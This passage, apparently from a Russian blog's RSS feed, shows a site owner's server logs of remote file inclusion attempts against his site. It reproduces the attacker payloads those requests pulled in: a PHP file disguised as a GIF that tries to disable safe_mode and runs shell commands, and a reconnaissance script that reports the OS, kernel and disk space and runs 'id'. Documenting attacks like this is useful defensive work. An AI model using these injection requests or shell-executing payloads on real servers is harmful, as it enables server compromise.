<div class="codecolorer-container php vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">zfxid.txt<br />
<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #666666; font-style: italic;">/* ZFxID */</span> <span style="color: #b1b100;">echo</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Shiro&quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;Hige&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <a href="http://www.php.net/die"><span style="color: #990000;">die</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Shiro&quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;Hige&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">/* ZFxID */</span> <span style="color: #000000; font-weight: bold;">?&gt;</span></div></div>
<p>Дальше интересней</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">client: 89.38.128.140, server: <span style="color: #000000; font-weight: bold;">***</span>, request: <span style="color: #ff0000;">&quot;GET /easy-git//?_SERVER[DOCUMENT_ROOT]=http://hiiraginao.com//test.gif??<br />
client: 89.38.128.140, server: ***, request: &quot;</span>GET <span style="color: #000000; font-weight: bold;">//</span>?_SERVER<span style="color: #7a0874; font-weight: bold;">&#91;</span>DOCUMENT_ROOT<span style="color: #7a0874; font-weight: bold;">&#93;</span>=http:<span style="color: #000000; font-weight: bold;">//</span>hiiraginao.com<span style="color: #000000; font-weight: bold;">//</span>test.gif??</div></div>
<p>Файлик test.gif следующего содержания:</p>
<div class="codecolorer-container php vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.0 Transitional//EN&quot;&gt;<br />
&lt;!-- saved from url=(0036)http://www.depo.org.pk/images/21/ts? --&gt;<br />
&lt;HTML&gt;&lt;HEAD&gt;&lt;TITLE&gt;SysTrojan&lt;/TITLE&gt;<br />
&lt;META http-equiv=Content-Type content=&quot;text/html; charset=windows-1252&quot;&gt;<br />
&lt;META content=&quot;MSHTML 6.00.2900.5512&quot; name=GENERATOR&gt;&lt;/HEAD&gt;<br />
&lt;BODY bgColor=#dc143c&gt;<br />
&lt;H1&gt;Wrong Place&lt;/H1&gt;<span style="color: #000000; font-weight: bold;">&lt;?php</span><br />
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><a href="http://www.php.net/eregi"><span style="color: #990000;">eregi</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;uid&quot;</span><span style="color: #339933;">,</span>ex<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;id&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><a href="http://www.php.net/eregi"><span style="color: #990000;">eregi</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Windows&quot;</span><span style="color: #339933;">,</span>ex<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;net start&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #b1b100;">echo</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Safe Mode of this Server is : &quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">echo</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SafemodeOFF&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span><br />
<a href="http://www.php.net/ini_restore"><span style="color: #990000;">ini_restore</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;safe_mode&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<a href="http://www.php.net/ini_restore"><span style="color: #990000;">ini_restore</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;open_basedir&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><a href="http://www.php.net/eregi"><span style="color: #990000;">eregi</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;uid&quot;</span><span style="color: #339933;">,</span>ex<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;id&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><a href="http://www.php.net/eregi"><span style="color: #990000;">eregi</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Windows&quot;</span><span style="color: #339933;">,</span>ex<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;net start&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #b1b100;">echo</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Safe Mode of this Server is : &quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">echo</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SafemodeOFF&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #b1b100;">echo</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Safe Mode of this Server is : &quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">echo</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SafemodeON&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #000000; font-weight: bold;">function</span> ex<span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfe</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #000088;">$res</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/empty"><span style="color: #990000;">empty</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfe</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/function_exists"><span style="color: #990000;">function_exists</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'exec'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/exec"><span style="color: #990000;">exec</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfe</span><span style="color: #339933;">,</span><span style="color: #000088;">$res</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$res</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/join"><span style="color: #990000;">join</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$res</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #b1b100;">elseif</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/function_exists"><span style="color: #990000;">function_exists</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'shell_exec'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #000088;">$res</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><a href="http://www.php.net/shell_exec"><span style="color: #990000;">shell_exec</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfe</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #b1b100;">elseif</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/function_exists"><span style="color: #990000;">function_exists</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'system'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/ob_start"><span style="color: #990000;">ob_start</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/system"><span style="color: #990000;">system</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfe</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$res</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><a href="http://www.php.net/ob_get_contents"><span style="color: #990000;">ob_get_contents</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/ob_end_clean"><span style="color: #990000;">ob_end_clean</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #b1b100;">elseif</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/function_exists"><span style="color: #990000;">function_exists</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'passthru'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/ob_start"><span style="color: #990000;">ob_start</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/passthru"><span style="color: #990000;">passthru</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfe</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$res</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><a href="http://www.php.net/ob_get_contents"><span style="color: #990000;">ob_get_contents</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/ob_end_clean"><span style="color: #990000;">ob_end_clean</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #b1b100;">elseif</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><a href="http://www.php.net/is_resource"><span style="color: #990000;">is_resource</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><a href="http://www.php.net/popen"><span style="color: #990000;">popen</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfe</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;r&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #000088;">$res</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!@</span><a href="http://www.php.net/feof"><span style="color: #990000;">feof</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #000088;">$res</span> <span style="color: #339933;">.=</span> <span style="color: #339933;">@</span><a href="http://www.php.net/fread"><span style="color: #990000;">fread</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">1024</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/pclose"><span style="color: #990000;">pclose</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #b1b100;">return</span> <span style="color: #000088;">$res</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<a href="http://www.php.net/exit"><span style="color: #990000;">exit</span></a><span style="color: #339933;">;</span><br />
<span style="color: #000000; font-weight: bold;">?&gt;</span>&lt;/BODY&gt;&lt;/HTML&gt;</div></div>
<p>Ну и последний на сегодня</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">client: 89.185.231.103, server: <span style="color: #000000; font-weight: bold;">***</span>, request: <span style="color: #ff0000;">&quot;GET //?_SERVER[DOCUMENT_ROOT]=http://www.solmae.co.kr/upload/bbs/conf2.txt????</span></div></div>
<p>и файлик conf2.txt следующего содержания:</p>
<div class="codecolorer-container php vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">&lt;?</span><br />
<br />
<span style="color: #000088;">$dir</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><a href="http://www.php.net/getcwd"><span style="color: #990000;">getcwd</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$ker</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><a href="http://www.php.net/php_uname"><span style="color: #990000;">php_uname</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;3&quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;1&quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;3&quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;3&quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;7&quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&lt;br&gt;&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$OS</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #009900; font-weight: bold;">PHP_OS</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;br&gt;OSTYPE:<span style="color: #006699; font-weight: bold;">$OS</span>&lt;br&gt;&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;br&gt;Kernel:<span style="color: #006699; font-weight: bold;">$ker</span>&lt;br&gt;&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$free</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/disk_free_space"><span style="color: #990000;">disk_free_space</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dir</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$free</span> <span style="color: #339933;">===</span> <span style="color: #009900; font-weight: bold;">FALSE</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #000088;">$free</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span> <br />
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$free</span> <span style="color: #339933;">&lt;</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #000088;">$free</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span> <br />
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;Free:&quot;</span><span style="color: #339933;">.</span>view_size<span style="color: #009900;">&#40;</span><span style="color: #000088;">$free</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&lt;br&gt;&quot;</span><span style="color: #339933;">;</span> <br />
<span style="color: #000088;">$cmd</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;id&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$eseguicmd</span><span style="color: #339933;">=</span>ex<span style="color: #009900;">&#40;</span><span style="color: #000088;">$cmd</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$eseguicmd</span><span style="color: #339933;">;</span><br />
<span style="color: #000000; font-weight: bold;">function</span> ex<span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfe</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #000088;">$res</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/empty"><span style="color: #990000;">empty</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfe</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/function_exists"><span style="color: #990000;">function_exists</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'exec'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/exec"><span style="color: #990000;">exec</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfe</span><span style="color: #339933;">,</span><span style="color: #000088;">$res</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$res</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/join"><span style="color: #990000;">join</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$res</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #b1b100;">elseif</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/function_exists"><span style="color: #990000;">function_exists</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'shell_exec'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #000088;">$res</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><a href="http://www.php.net/shell_exec"><span style="color: #990000;">shell_exec</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfe</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #b1b100;">elseif</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/function_exists"><span style="color: #990000;">function_exists</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'system'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/ob_start"><span style="color: #990000;">ob_start</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/system"><span style="color: #990000;">system</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfe</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$res</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><a href="http://www.php.net/ob_get_contents"><span style="color: #990000;">ob_get_contents</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/ob_end_clean"><span style="color: #990000;">ob_end_clean</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #b1b100;">elseif</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/function_exists"><span style="color: #990000;">function_exists</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'passthru'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/ob_start"><span style="color: #990000;">ob_start</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/passthru"><span style="color: #990000;">passthru</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfe</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$res</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><a href="http://www.php.net/ob_get_contents"><span style="color: #990000;">ob_get_contents</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/ob_end_clean"><span style="color: #990000;">ob_end_clean</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #b1b100;">elseif</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><a href="http://www.php.net/is_resource"><span style="color: #990000;">is_resource</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><a href="http://www.php.net/popen"><span style="color: #990000;">popen</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfe</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;r&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #000088;">$res</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!@</span><a href="http://www.php.net/feof"><span style="color: #990000;">feof</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #000088;">$res</span> <span style="color: #339933;">.=</span> <span style="color: #339933;">@</span><a href="http://www.php.net/fread"><span style="color: #990000;">fread</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">1024</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/pclose"><span style="color: #990000;">pclose</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#125;</span><br />
<span style="color: #b1b100;">return</span> <span style="color: #000088;">$res</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #000000; font-weight: bold;">function</span> view_size<span style="color: #009900;">&#40;</span><span style="color: #000088;">$size</span><span style="color: #009900;">&#41;</span> <br />
<span style="color: #009900;">&#123;</span> <br />
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/is_numeric"><span style="color: #990000;">is_numeric</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$size</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">FALSE</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span> <br />
<span style="color: #b1b100;">else</span> <br />
<span style="color: #009900;">&#123;</span> <br />
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$size</span> <span style="color: #339933;">&gt;=</span> <span style="color: #cc66cc;">1073741824</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #000088;">$size</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/round"><span style="color: #990000;">round</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$size</span><span style="color: #339933;">/</span><span style="color: #cc66cc;">1073741824</span><span style="color: #339933;">*</span><span style="color: #cc66cc;">100</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">/</span><span style="color: #cc66cc;">100</span> <span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; GB&quot;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span> <br />
<span style="color: #b1b100;">elseif</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$size</span> <span style="color: #339933;">&gt;=</span> <span style="color: #cc66cc;">1048576</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #000088;">$size</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/round"><span style="color: #990000;">round</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$size</span><span style="color: #339933;">/</span><span style="color: #cc66cc;">1048576</span><span style="color: #339933;">*</span><span style="color: #cc66cc;">100</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">/</span><span style="color: #cc66cc;">100</span> <span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; MB&quot;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span> <br />
<span style="color: #b1b100;">elseif</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$size</span> <span style="color: #339933;">&gt;=</span> <span style="color: #cc66cc;">1024</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #000088;">$size</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/round"><span style="color: #990000;">round</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$size</span><span style="color: #339933;">/</span><span style="color: #cc66cc;">1024</span><span style="color: #339933;">*</span><span style="color: #cc66cc;">100</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">/</span><span style="color: #cc66cc;">100</span> <span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; KB&quot;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span> <br />
<span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span><span style="color: #000088;">$size</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$size</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot; B&quot;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span> <br />
<span style="color: #b1b100;">return</span> <span style="color: #000088;">$size</span><span style="color: #339933;">;</span> <br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #009900;">&#125;</span> <br />
<br />
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;br&gt;3&quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;1&quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;2&quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;3&quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;4&lt;br&gt;&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #000000; font-weight: bold;">?&gt;</span></div></div>
]]></content:encoded>
			<wfw:commentRss>http://svdev.ru/blog/hacking-part-2/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Hacking часть I</title>
		<link>http://svdev.ru/blog/hacking-part-1/</link>
		<comments>http://svdev.ru/blog/hacking-part-1/#comments</comments>
